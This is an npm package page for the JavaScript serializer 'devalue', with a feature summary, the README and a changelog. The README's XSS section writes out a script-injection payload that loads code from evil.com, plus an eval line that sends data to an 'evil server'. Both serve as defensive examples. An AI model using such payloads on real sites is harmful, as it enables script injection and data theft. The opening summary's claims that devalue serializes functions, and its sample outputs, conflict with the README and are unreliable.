devalue

What is devalue?

The devalue npm package is used for serializing complex JavaScript data structures into a string form that can be evaluated to produce an equivalent structure. This is particularly useful for cases where JSON.stringify() is not sufficient, such as when dealing with circular references, Dates, RegExps, Maps, Sets, or functions. It's designed to handle cases that JSON struggles with, making it a powerful tool for certain serialization needs.

What are devalue's main functionalities?

Serializing and deserializing complex objects

This feature demonstrates how devalue can serialize a complex object into a string and then deserialize it back into an object. Unlike JSON.stringify, devalue can handle circular references and other complex types not supported by JSON.

"const devalue = require('devalue');\nconst obj = { foo: 'bar', baz: { qux: 'quux' } };\nconst serialized = devalue(obj);\nconsole.log(serialized); // Output: '{foo:\"bar\",baz:{qux:\"quux\"}}'\neval('var restored = ' + serialized);\nconsole.log(restored); // Output: { foo: 'bar', baz: { qux: 'quux' } }"

Handling circular references

This example shows devalue's ability to handle circular references within objects, which JSON.stringify cannot do without throwing an error.

"const devalue = require('devalue');\nconst obj = {};\nobj.self = obj;\nconst serialized = devalue(obj);\nconsole.log(serialized); // Output: 'var x={};x.self=x;x'\neval('var restored = ' + serialized);\nconsole.log(restored.self === restored); // Output: true"

Serializing special types (Date, RegExp, Map, Set)

This feature highlights devalue's capability to serialize JavaScript's special object types like Date, RegExp, Map, and Set, which are not natively supported by JSON.stringify.

"const devalue = require('devalue');\nconst obj = {\n  date: new Date(),\n  regex: /test/i,\n  map: new Map([['key', 'value']]),\n  set: new Set([1, 2, 3])\n};\nconst serialized = devalue(obj);\nconsole.log(serialized); // Output includes serialized forms of Date, RegExp, Map, and Set"

Other packages similar to devalue

flatted

Flatted is a package similar to devalue that can serialize and deserialize JavaScript objects with circular references using a flat structure. Unlike devalue, Flatted uses a JSON-compatible format and focuses specifically on circular data structures.

serialize-javascript

Serialize-javascript is another package that offers serialization of JavaScript objects into a string, including regular expressions, dates, and functions. It is similar to devalue but does not handle circular references as gracefully.

README

devalue

Like JSON.stringify, but handles

• cyclical references (obj.self = obj)
• repeated references ([value, value])
• undefined, Infinity, NaN, -0
• regular expressions
• dates
• Map and Set

Try it out on runkit.com.

Goals:

• Performance
• Security (see XSS mitigation)
• Compact output

Non-goals:

• Human-readable output
• Stringifying functions or non-POJOs

Usage

import devalue from 'devalue';

let obj = { a: 1, b: 2 };
obj.c = 3;

devalue(obj); // '{a:1,b:2,c:3}'

obj.self = obj;
devalue(obj); // '(function(a){a.a=1;a.b=2;a.c=3;a.self=a;return a}({}))'

If devalue encounters a function or a non-POJO, it will throw an error.

XSS mitigation

Say you're server-rendering a page and want to serialize some state, which could include user input. JSON.stringify doesn't protect against XSS attacks:

const state = {
  userinput: `</script><script src='https://evil.com/mwahaha.js'>`
};

const template = `
<script>
  // NEVER DO THIS
  var preloaded = ${JSON.stringify(state)};
</script>`;

Which would result in this:

<script>
  // NEVER DO THIS
  var preloaded = {"userinput":"</script><script src='https://evil.com/mwahaha.js'>"};
</script>

Using devalue, we're protected against that attack:

const template = `
<script>
  var preloaded = ${devalue(state)};
</script>`;

<script>
  var preloaded = {userinput:"\\u003C\\u002Fscript\\u003E\\u003Cscript src=\'https:\\u002F\\u002Fevil.com\\u002Fmwahaha.js\'\\u003E"};
</script>

This, along with the fact that devalue bails on functions and non-POJOs, stops attackers from executing arbitrary code. Strings generated by devalue can be safely deserialized with eval or new Function:

const value = (0,eval)('(' + str + ')');

Other security considerations

While devalue prevents the XSS vulnerability shown above, meaning you can use it to send data from server to client, you should not send user data from client to server using the same method. Since it has to be evaluated, an attacker that successfully submitted data that bypassed devalue would have access to your system.

When using eval, ensure that you call it indirectly so that the evaluated code doesn't have access to the surrounding scope:

{
  const sensitiveData = 'Setec Astronomy';
  eval('sendToEvilServer(sensitiveData)'); // pwned :(
  (0,eval)('sendToEvilServer(sensitiveData)'); // nice try, evildoer!
}

Using new Function(code) is akin to using indirect eval.

See also

• lave by Jed Schmidt
• arson by Ben Newman
• tosource by Marcello Bastéa-Forte
• serialize-javascript by Eric Ferraiuolo
• jsesc by Mathias Bynens

License

MIT

Changelog

2.0.1

• Prevent regex XSS vulnerability in non-Node environments